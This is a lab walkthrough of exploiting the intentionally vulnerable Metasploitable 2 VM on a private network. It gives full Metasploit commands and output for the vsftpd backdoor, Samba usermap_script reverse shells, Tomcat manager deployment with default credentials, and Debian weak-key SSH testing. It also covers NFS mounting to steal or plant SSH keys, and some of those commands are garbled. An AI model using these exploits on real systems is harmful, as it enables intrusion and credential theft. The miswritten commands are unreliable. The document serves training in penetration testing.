Metasploitable 2

Kali Version	Metasploit Version
2023.4	metasploit v6.3.47-dev

General Network information

The network is explained under the section "netdiscover"

Network information	IP info	Comments
Range	192.168.254.1- 192.168.254.254	
VM Host	192.168.254.1	
Gateway	192.168.254.2	
DHCP	192.168.254.254	
Metasploitable1	192.168.254.187	Used for one test
Metasploitable2	192.168.254.186	Main target

Web references

Metasploitable: 1 - walkthrough | Infosec (infosecinstitute.com) Note due to age the website contained a number of deadlinks

Metasploitable: 2 - walkthrough | Infosec (infosecinstitute.com) Note due to age the website contained a number of deadlinks

Additional reports

Metasploitable2-Linux.pdf – A GVM scan with information regarding the detected issues

ZAP scan - 2023-12-31-ZAP-Report

Walkthrough of information and Metasploit tests

The network

This section details the network the virtual network the lab is running

netdiscover and explanation of the virtual network

First, we launch Metasploit from the command line from kali

```
sudo msfdb init && msfconsole
```

```
$ sudo msfdb init && msfconsole
[i] Database already started
[i] The database appears to be already configured, skipping initialization
Metasploit tip: View missing module options with show missing

 _____________________________________________________________________
|                                                                     |
|                  METASPLOIT CYBER MISSILE COMMAND V5                |
|_____________________________________________________________________|
      \                          /                    /
       \     .                   /                    /            x
        \                       /                    /
         \          +          /          +         /
          \         *         /                    /
                              /          .         /
   X                         /                    /            X
                            /                    /
                           /                    /
                          /                    /
                         /          .         /          *          .
                        /                    /
                       /          *         /
                      +                    *
                                    ^
####    __    __    __          #######        __    __    __        ####
####   /  \ /  \ /  \        ##########      /  \ /  \ /  \       ####
##############################################################################
##############################################################################
# WAVE 5 ######## SCORE 31337 ################################ HIGH FFFFFFFF #
##############################################################################
                                                      https://metasploit.com


       =[ metasploit v6.3.47-dev                          ]
+ -- --=[ 2379 exploits - 1234 auxiliary - 417 post       ]
+ -- --=[ 1391 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > 
```

From the msf6 command prompt run sudo netdiscover -r 192.168.254.1/16 setting the range otherwise netdiscover will go through a cycle on many networks which is not necessary. Here it is just running through 192.168.*.*

While I have shown physical addresses I have redacted the physical host address, the others are virtual.

```
File  Actions  Edit  View  Help
Currently scanning: Finished!   |   Screen View: Unique Hosts

14 Captured ARP Req/Rep packets, from 5 hosts.   Total size: 840
_____________________________________________________________________________
  IP            At MAC Address     Count     Len  MAC Vendor / Hostname
_____________________________________________________________________________

192.168.254.186 00:0c:29:6e:3d:ba      8     480  VMware, Inc.
192.168.254.254 00:50:56:ea:37:35      3     180  VMware, Inc.
192.168.254.1   [redacted]             1      60  VMware, Inc.
192.168.254.2   00:50:56:ef:21:e9      1      60  VMware, Inc.
192.168.254.187 00:0c:29:0d:85:e5      1      60  VMware, Inc.
```

192.168.254.1

Is my VM host machine.

```
   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : VMware Virtual Ethernet Adapter for VMnet8
   Physical Address. . . . . . . . . : [redacted]
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
   Link-local IPv6 Address . . . . . : fe80::a9ab:fc3:c8a5:6dd8%18(Preferred)
   IPv4 Address. . . . . . . . . . . : 192.168.254.1(Preferred)
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . :
   DHCPv6 IAID . . . . . . . . . . . : [redacted]
   DHCPv6 Client DUID. . . . . . . . : [redacted]
   NetBIOS over Tcpip. . . . . . . . : Enabled
```

192.168.254.2 is the default gateway as seen by the kali VM

```
┌──(kali㉿apisec)-[~]
└─$  netstat -r
Kernel IP routing table
Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface
default         192.168.254.2   0.0.0.0         UG        0 0          0 eth0
```

Ip address that ends in 254 is the DHCP server for the virtual network verified by running the command sudo dhclient -d -nw -eth0

```
msf6 > sudo dhclient -d -nw eth0
[*] exec: sudo dhclient -d -nw eth0

Internet Systems Consortium DHCP Client 4.4.3-P1
Copyright 2004-2022 Internet Systems Consortium.
All rights reserved.
For info, please visit https://www.isc.org/software/dhcp/

Listening on LPF/eth0/00:0c:29:ab:7d:1f
Sending on   LPF/eth0/00:0c:29:ab:7d:1f
Sending on   Socket/fallback
DHCPREQUEST for 192.168.254.182 on eth0 to 255.255.255.255 port 67
DHCPACK of 192.168.254.182 from 192.168.254.254
RTNETLINK answers: File exists
bound to 192.168.254.182 -- renewal in 729 seconds.
```

Ip address 192.168.254.186 & 187 are the only other hosts running

```
msf6 > ping -c 4 192.168.254.186
[*] exec: ping -c 4 192.168.254.186

PING 192.168.254.186 (192.168.254.186) 56(84) bytes of data.
64 bytes from 192.168.254.186: icmp_seq=1 ttl=64 time=2.78 ms
64 bytes from 192.168.254.186: icmp_seq=2 ttl=64 time=0.559 ms
64 bytes from 192.168.254.186: icmp_seq=3 ttl=64 time=0.590 ms
64 bytes from 192.168.254.186: icmp_seq=4 ttl=64 time=0.505 ms

--- 192.168.254.186 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3037ms
rtt min/avg/max/mdev = 0.505/1.108/2.778/0.964 ms
msf6 >
```

That's the network explained.

Lets see what the ip address 192.168.254.186 is running.

Port scan

nmap -sV -O 192.168.254.186

Breaking down the command

-sV will help determine the service running

-O will try to identify the OS running on the target.

```
File  Actions  Edit  View  Help
msf6 > sudo nmap -sV -O 192.168.254.186
```

```
msf6 > sudo nmap -sV -O 192.168.254.186
[*] exec: sudo nmap -sV -O 192.168.254.186

Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-30 10:32 GMT
Nmap scan report for 192.168.254.186
Host is up (0.00061s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login       OpenBSD or Solaris rlogind
514/tcp  open  tcpwrapped
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:6E:3D:BA (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, L

OS and Service detection performed. Please report any incorrect results at https://nma
Nmap done: 1 IP address (1 host up) scanned in 12.94 seconds
msf6 >
```

If you look at the last line we can now be 100% sure this is a target of interest as it shows the hostname. Metasploitable.localadmin

Repeated the process for 192.168.254.187

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-31 10:08 GMT
Nmap scan report for 192.168.254.187
Host is up (0.00095s latency).
Not shown: 988 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.1
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:0D:85:E5 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Host:  metasploitable.localdomain; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.27 seconds
msf6 >
```

Now that we understand the environment time to hack the targets

Exploiting Port 21- Running vsftpd

use exploit/unix/ftp/vsftpd_234_backdoor

```
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

Now set the remote host

set RHOST 192.168.254.186

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.254.186
RHOST => 192.168.254.186
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

Now we are ready to break something, enter "run"

```
File  Actions  Edit  View  Help
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.254.186
RHOST => 192.168.254.186
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.254.186:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.254.186:21 - USER: 331 Please specify the password.
[+] 192.168.254.186:21 - Backdoor service has been spawned, handling...
[+] 192.168.254.186:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.254.182:36797 -> 192.168.254.186:6200) at 2023-12-30 10:44:28 +0000

whoami
root
```

Ran the command whoami which returned Uesr Identification as root Group Identification Number as root

I was from able to get the authorised key by running cat /root/.ssh/authorized_keys

Exploiting Port 22 Open SSH (https://www.rapid7.com/db/vulnerabilities/openssl-debian-weak-keys - dead link

OpenSSH 4.7p1 Debian 8ubuntu1 is vulnerable to Bruteforce.

Note the instructions have da a few deadlinks

CVE-2008-0166	Learn more at National Vulnerability Database (NVD) • CVSS Severity Rating • Fix Information • Vulnerable Software Versions • SCAP Mappings • CPE Information

Description

OpenSSL 0.9.8c-1 up to versions before 0.9.8g-9 on Debian-based operating systems uses a random number generator that generates predictable numbers, which makes it easier for remote attackers to conduct brute force guessing attacks against cryptographic keys.

https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/sploits/5622.tar.bz2 - Dead Link

In this exploit, we will run a ruby script found at https://www.exploit-db.com/exploits/5632/

[debian-ssh/common_keys at master · g0tmi1k/debian-ssh (github.com)]

The files required for this can be downloaded at **wget --no-check-certificate http://www.computersecuritystudent.com/SECURITY_TOOLS/METASPLOITABLE/EXPLOIT/lesson12/5622.tar.bz2ls**

ruby ./5632.rb 192.168.254.186 root rsa/2048

```
You will need the precalculated keys provided by HD Moore
# See http://metasploit.com/users/hdm/tools/debian-openssl/ - Dead link
# for further information.
```

```
#!/usr/bin/ruby
#
# Debian SSH Key Tester
# L4teral <l4teral [at] gmail com>
#
# This tool helps to find user accounts with weak SSH keys
# that should be regenerated with an unaffected version
# of openssl.
#
# You will need the precalculated keys provided by HD Moore
# See http://metasploit.com/users/hdm/tools/debian-openssl/
# for further information.
#
```

download the exploit 5622.tar.bz2 and extract and use the identified ruby script to process the keys.

```
File  Actions  Edit  View  Help
┌──(kali㉿apisec)-[~/Documents/metasplotable2/ruby scripts]
└─$ ruby ./5632.rb 192.168.254.186 root rsa/2048
testing key 1/32768 rsa/2048/f3eb3ef8f2551cd2845dff9c31ee6c1d-11438 ...
testing key 2/32768 rsa/2048/34eb7d0872a9f9dc74ef066a04f192ae-32608 ...
testing key 3/32768 rsa/2048/442da7304481eb9e5fa4fa90b7e53011-17284 ...
testing key 4/32768 rsa/2048/49a7b164cd3c702d57d09cd0f9005425-31955 ...
testing key 5/32768 rsa/2048/1339bd9a7e6a3ee9fa9a796efceb5376-16248 ...
testing key 6/32768 rsa/2048/55c70006dfdafe56b13cbe8d3c50b3ae-9681 ...
testing key 7/32768 rsa/2048/4a13a53c0660a2d048bbdd7de17da0a6-8487 ...
testing key 8/32768 rsa/2048/529fa68a9da6f4bc448f6fa272b0379c-16759 ...
testing key 9/32768 rsa/2048/7970f06084a74a5c768f83462361759f-2425 ...
Unable to negotiate with 192.168.254.186 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
Unable to negotiate with 192.168.254.186 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
testing key 10/32768 rsa/2048/29bcec60832859f5c82b873f31712ffe-21615 ...
testing key 11/32768 rsa/2048/2002cb26925a427223cef7878a56c390-25743 ...
testing key 12/32768 rsa/2048/27eae0a5f9fa8e57e0de763a5ee87216-22836 ...
testing key 13/32768 rsa/2048/20d919594340f512fb0074b5a05b3449-24112 ...
Unable to negotiate with 192.168.254.186 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
Unable to negotiate with 192.168.254.186 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
Unable to negotiate with 192.168.254.186 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
Unable to negotiate with 192.168.254.186 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
Unable to negotiate with 192.168.254.186 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
testing key 14/32768 rsa/2048/548bed7b081be159a335f8c7f95e62f2-29810 ...
testing key 15/32768 rsa/2048/96af31ee28cd82797189d3591bcddcc6-5904 ...
KEYFILE FOUND:
rsa/2048/f3eb3ef8f2551cd2845dff9c31ee6c1d-11438
testing key 9/32768 rsa/2048/f07d47b1dc33a9ce6dbecbce6f48ad83-4934 ...
testing key 17/32768 rsa/2048/aa8347301dcb2d2de882cf4facf8d55c-23898 ...
testing key 18/32768 rsa/2048/87a2a1098169b9a2f9ead9cdfe25d40a-3669 ...
KEYFILE FOUND:
rsa/2048/49a7b164cd3c702d57d09cd0f9005425-31955
testing key 19/32768 rsa/2048/3d8213a76843bfdfa63a590955b47c0c-20898 ...
testing key 20/32768 rsa/2048/2f26dd51fa53f1431b66c35328e21f64-19979 ...
testing key 21/32768 rsa/2048/9f954ef26ee1267f105c74673a60c65b-4946 ...
testing key 22/32768 rsa/2048/a4d8d7ea0d590a7d35cfe987da75d08a-18217 ...
testing key 23/32768 rsa/2048/4496dcd43955409fc8ccadb4cc087fb8-8611 ...
testing key 24/32768 rsa/2048/6a598bf7b2f5e35de1ba7bf945a446fd-22519 ...
Unable to negotiate with 192.168.254.186 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
Unable to negotiate with 192.168.254.186 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
Unable to negotiate with 192.168.254.186 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
Unable to negotiate with 192.168.254.186 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss

┌──(kali㉿apisec)-[~/Documents/metasplotable2/ruby scripts]
└─$
```

These produced a number of matches which none worked so lets look at the key to see what is going on. We will revisit this once with gained root through different means.

Port 80,

What's running on port 80?

Default website

Here I ran zap SCANS

These captured number of issues these have been detailed in a separate report.

Port 445

Run the following in Metasploit

download the exploit 5622.tar.bz2 and extract

use exploit/multi/samba/usermap_script

set RHOST 192.168.254.186

PAYLOAD cmd/unix/reverse_netcat by default is used

then execute by typing "run"

```
sf6 exploit(multi/samba/usermap_script) > set RHOST 192.168.254.186
HOST => 192.168.254.186
sf6 exploit(multi/samba/usermap_script) > run

[*] Started reverse TCP handler on 192.168.254.182:4444
[*] Command shell session 1 opened (192.168.254.182:4444 -> 192.168.254.186:46771) at 2023-12-31 10:22:27 +0000

[-] Command shell session 2 is not valid and will be closed
[*] 192.168.254.186 - Command shell session 2 closed.
[-] Command shell session 3 is not valid and will be closed
[*] 192.168.254.186 - Command shell session 3 closed.
[-] Command shell session 4 is not valid and will be closed
[*] 192.168.254.186 - Command shell session 4 closed.
s
in
oot
drom
ev
tc
ome
nitrd
nitrd.img
ib
ost+found
edia
nt
ohup.out
pt
roc
oot
bin
rv
ys
mp
sr
ar
mlinuz
hoami
oot
```

Lets look at whats going on with the keys run cat /root/.ssh/authorized_keys

```
cat ~/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0×1c6iPL/0zUYFHyFKAz
1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu
/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@met
asploitable
```

If use grep run that key against the extract keys I get a match

grep -lr <key>

```
3fe06e17c34987c038cc222d4d340dbd-19310.pub  7fa44771c4d6a5432344465628289844-16547.pub  bf42c327274d75818b09c409c9c2d18e-19747.pub  fffee192c80b1198a8eff92308cb461c-17241.pub

┌──(kali㉿apisec)-[~/…/metasplotable2/ruby scripts/rsa/2048]
└─$ grep -lr AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0×1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWT
QTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxs
XovcNnbALTp3w *.pub
57c3115d77c56390332dc5c49978627a-5429.pub

┌──(kali㉿apisec)-[~/…/metasplotable2/ruby scripts/rsa/2048]
└─$
```

But fails.

```
File  Actions  Edit  View  Help
┌──(kali㉿apisec)-[~]
└─$ ssh -i 57c3115d77c56390332dc5c49978627a-5429 root@192.168.254.186
Warning: Identity file 57c3115d77c56390332dc5c49978627a-5429 not accessible: No such file or directory.
Unable to negotiate with 192.168.254.186 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss

┌──(kali㉿apisec)-[~]
└─$ ssh -i 57c3115d77c56390332dc5c49978627a-5429 msfadmin@192.168.254.186
Warning: Identity file 57c3115d77c56390332dc5c49978627a-5429 not accessible: No such file or directory.
Unable to negotiate with 192.168.254.186 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss

┌──(kali㉿apisec)-[~]
└─$ ssh root@192.168.254.186
Unable to negotiate with 192.168.254.186 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss

┌──(kali㉿apisec)-[~]
└─$
```

The last error is expected because I don't have a key.

The easy answer is to use ssh with this command:

ssh -oHostKeyAlgorithms=+ssh-dss msfadmin@192.168.254.186

```
┌──(kali㉿apisec)-[~]
└─$ ssh -oHostKeyAlgorithms=+ssh-dss msfadmin@192.168.254.186
msfadmin@192.168.254.186's password:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
Last login: Sun Dec 31 09:31:26 2023
msfadmin@metasploitable:~$
```

I could create a public key on the local machine and add keys to SSH authorized_keys file.

Generate a public-private key pair on your local machine using the ssh-keygen command.

This will create two files: a public key file (usually named id_rsa.pub) and a private key file (usually named id_rsa).

Copy the public key to the remote server using the ssh-copy-id command.

This command will automatically add the public key to the authorized_keys file on the remote server and set the correct permissions.

Private Key ssh_login_pubkey

But I have enough permissions to go after the private
auxiliary/scanner/ssh/ssh_login_pubkey can be used.

This module uses the private key to do two things:

Get access to the victim machine

Get access to any machines that trust the victim's private key (must be listed in the SSH files of the victim machine)

Obtaining Private Key

To carry out this attack, you will need to have access to the file system, and/or be able to mount the remote file system (which, on Metasploitable, happens to be possible!): see Metasploitable/NFS

Once you've got access to the file system, you'll grab a copy of the remote machine's private keys, and use them together with Metasploit to obtain access to the machine.

(Note that you could also plant your keys on the target, by adding your public SSH keys onto the target machine's list of trusted machines, but this technique would restrict you to a particular machine, wile the Metasploit method is portable and less intrusive.)

To snatch the target's private key:

```
# service rpcbind start
# mkdir /tmp/target
# mount -t nfs 10.0.0.27:/ /temp/target
# cp /tmp/target/home/msfadmin/.ssh/id_rsa /tmp/r00tprivatekey
# umount /tmp/target
```

Now you have a copy of the msfadmin account's private SSH key.

Metasploit We'll use Metasploit to turn this into access to the remote machine.

This key is also useful for impersonating the target when connecting to OTHER remote machines.

Planting Private Keys

An alternative method to gain access, although it is not useful for gaining access to any machines other than the victim machine, is to GENERATE a public/private SSH key pair from the attacker machine, and copy the PRIVATE key over to the remote machine. (Using the public key and the above-mentioned technique would be easier, but it's worth mentioning at least.)

To plant your private keys on the remote machine, you'll need write access to the target user's home directory. You'll generate a public SSH key from the attacker machine, the machine you want to have access WITH, and add it to the other machine's ~/.ssh/authorized_keys.

This presumes the .ssh directory exists. If it doesn't exist, you can make it, and tamper with the filesystem.

```
# service rpcbind start

# mkdir /tmp/target

# mount -t nfs 192.168.254.182:/ /temp/target

# cd /tmp/target/home/msfadmin/ && mkdir .ssh/

# echo ~/.ssh/id_rsa >> /tmp/target/home/msfadmin/.ssh/authorized_keys

# umount /tmp/target
```

Setting Up the Attack

Here's info on the auxiliary/scanner/ssh/ssh_login_pubkey module in Metasploit, which will carry out the attack:

```
use auxiliary/scanner/ssh/ssh_login_pubkey
```

Set some options, such as the private key file, the username to log in with, and the remote host:

```
auxiliary(ssh_login_pubkey) > set KEY_FILE /tmp/r00tprivatekey

KEY_FILE => /tmp/id_rsa

auxiliary(ssh_login_pubkey) > set USERNAME root

USERNAME => root

auxiliary(ssh_login_pubkey) > set RHOSTS 192.168.254.186

set RHOSTS => 192.168.254.186

msf auxiliary(ssh_login_pubkey) >
```

Running the Attack

Execute the attack, to use the remote machine's private key to gain access to the remote machine:

auxiliary(ssh_login_pubkey) > run

Port 8180 & 5432/

First let's see what's running on 8180

Tomcat 5.5Commands

(CVE 2007-2447): http://www.cvedetails.com/cve/cve-2007-2447

use exploit/multi/http/tomcat_mgr_deploy

```
Available targets:
      Id  Name
      --  ----
  ⇒   0   Automatic
      1   Java Universal
      2   Windows Universal
      3   Linux x86

Check supported:
  Yes

Basic options:
  Name          Current Setting  Required  Description
  ----          ---------------  --------  -----------
  HttpPassword                   no        The password for the specified username
  HttpUsername                   no        The username to authenticate as
  PATH          /manager         yes       The URI path of the manager app (/deploy and /undeploy will be used)
  Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                         yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT         80               yes       The target port (TCP)
  SSL           false            no        Negotiate SSL/TLS for outgoing connections
  VHOST                          no        HTTP server virtual host
```

Note set TARGET is already set to 0

Now set:

set HttpUsername tomcat

set HttpPassword tomcat

set RHOST 192.168.254.186

set RPORT 8180

```
msf6 exploit(multi/http/tomcat_mgr_deploy) > set RHOST 192.168.254.186
RHOST => 192.168.254.186
msf6 exploit(multi/http/tomcat_mgr_deploy) > set HttpUsername tomcat
HttpUsername => tomcat
msf6 exploit(multi/http/tomcat_mgr_deploy) > set HttpPassword tomcat
HttpPassword => tomcat
msf6 exploit(multi/http/tomcat_mgr_deploy) > set RHOST 192.168.254.186
RHOST => 192.168.254.186
msf6 exploit(multi/http/tomcat_mgr_deploy) > set RPORT 8180
RPORT => 8180
msf6 exploit(multi/http/tomcat_mgr_deploy) >
```

set payload java/meterpreter/reverse_tcp

enter: check

```
msf6 exploit(multi/http/tomcat_mgr_deploy) > set RHOST 192.168.254.186
RHOST => 192.168.254.186
msf6 exploit(multi/http/tomcat_mgr_deploy) > set HttpUsername tomcat
HttpUsername => tomcat
msf6 exploit(multi/http/tomcat_mgr_deploy) > set HttpPassword tomcat
HttpPassword => tomcat
msf6 exploit(multi/http/tomcat_mgr_deploy) > set RHOST 192.168.254.186
RHOST => 192.168.254.186
msf6 exploit(multi/http/tomcat_mgr_deploy) > set RPORT 8180
RPORT => 8180
msf6 exploit(multi/http/tomcat_mgr_deploy) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf6 exploit(multi/http/tomcat_mgr_deploy) > check
[*] 192.168.254.186:8180 - The target appears to be vulnerable.
msf6 exploit(multi/http/tomcat_mgr_deploy) >
```

You can now see that the remote is being checked the message "The target appears to be vulnerable"

https://www.rapid7.com/db/modules/exploit/linux/local/udev_netlink - dead link

```
       =[ metasploit v6.3.47-dev                          ]
+ -- --=[ 2379 exploits - 1234 auxiliary - 417 post       ]
+ -- --=[ 1391 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/multi/http/tomcat_mgr_deploy
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/http/tomcat_mgr_deploy) > set HttpUsername tomcat
HttpUsername => tomcat
msf6 exploit(multi/http/tomcat_mgr_deploy) > set HttpPassword tomcat
HttpPassword => tomcat
msf6 exploit(multi/http/tomcat_mgr_deploy) > set RHOST 192.168.254.187
RHOST => 192.168.254.187
msf6 exploit(multi/http/tomcat_mgr_deploy) > set RPORT 8180
RPORT => 8180
msf6 exploit(multi/http/tomcat_mgr_deploy) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf6 exploit(multi/http/tomcat_mgr_deploy) > check
[*] 192.168.254.187:8180 - The target appears to be vulnerable.
msf6 exploit(multi/http/tomcat_mgr_deploy) > exploit

[*] Started reverse TCP handler on 192.168.254.182:4444
[*] Attempting to automatically select a target...
[*] Automatically selected target "Linux x86"
[*] Uploading 6131 bytes as zT447kafugbqTglVbfqc.war ...
[*] Executing /zT447kafugbqTglVbfqc/19Z8S9SX8Q93UE0dKLo70HB8.jsp...
[-] Execution failed on zT447kafugbqTglVbfqc [500 Internal Server Error]
[*] Undeploying zT447kafugbqTglVbfqc ...
[*] Sending stage (57971 bytes) to 192.168.254.186
[*] Sending stage (57971 bytes) to 192.168.254.186
[*] Meterpreter session 1 opened (192.168.254.182:4444 -> 192.168.254.186:53715) at 2023-12-30 19:30:23 +0000

meterpreter > [*] Meterpreter session 2 opened (192.168.254.182:4444 -> 192.168.254.186:53716) at 2023-12-30 19:30:23 +0000
```

So I changed from the meterpreter to shell

```
msf6 exploit(multi/http/tomcat_mgr_deploy) > set HttpUsername tomcat
HttpUsername => tomcat
msf6 exploit(multi/http/tomcat_mgr_deploy) > set HttpPassword tomcat
HttpPassword => tomcat
msf6 exploit(multi/http/tomcat_mgr_deploy) > set RHOST 192.168.254.187
RHOST => 192.168.254.187
msf6 exploit(multi/http/tomcat_mgr_deploy) > set RPORT 8180
RPORT => 8180
msf6 exploit(multi/http/tomcat_mgr_deploy) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf6 exploit(multi/http/tomcat_mgr_deploy) > check
[*] 192.168.254.187:8180 - The target appears to be vulnerable.
msf6 exploit(multi/http/tomcat_mgr_deploy) > exploit

[*] Started reverse TCP handler on 192.168.254.182:4444
[*] Attempting to automatically select a target ...
[*] Automatically selected target "Linux x86"
[*] Uploading 6131 bytes as zT447kafugbqTglVbfqc.war ...
[*] Executing /zT447kafugbqTglVbfqc/19Z8S9SX8Q93UE0dKLo70HB8.jsp ...
[-] Execution failed on zT447kafugbqTglVbfqc [500 Internal Server Error]
[*] Undeploying zT447kafugbqTglVbfqc ...
[*] Sending stage (57971 bytes) to 192.168.254.186
[*] Sending stage (57971 bytes) to 192.168.254.186
[*] Meterpreter session 1 opened (192.168.254.182:4444 -> 192.168.254.186:53715) at 2023-12-30 19:30:23 +0000

meterpreter > [*] Meterpreter session 2 opened (192.168.254.182:4444 -> 192.168.254.186:53716) at 2023-12-30 19:30:23 +0000
shell
Process 8299 created.
Channel 3 created.
ls
PG_VERSION
base
global
pg_clog
pg_multixact
pg_subtrans
pg_tblspc
pg_twophase
pg_xlog
postmaster.opts
postmaster.pid
root.crt
server.crt
server.key
whoami
postgres
pws
/bin/sh: line 3: pws: command not found
pwd
/var/lib/postgresql/8.3/main
```

Port 5432

Because the port is open, I did try a different hack, this worked and got me into the same location

use exploit/linux/postgres/postgres_payload

```
File  Actions  Edit  View  Help
msf6 > use exploit/linux/postgres/postgres_payload
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
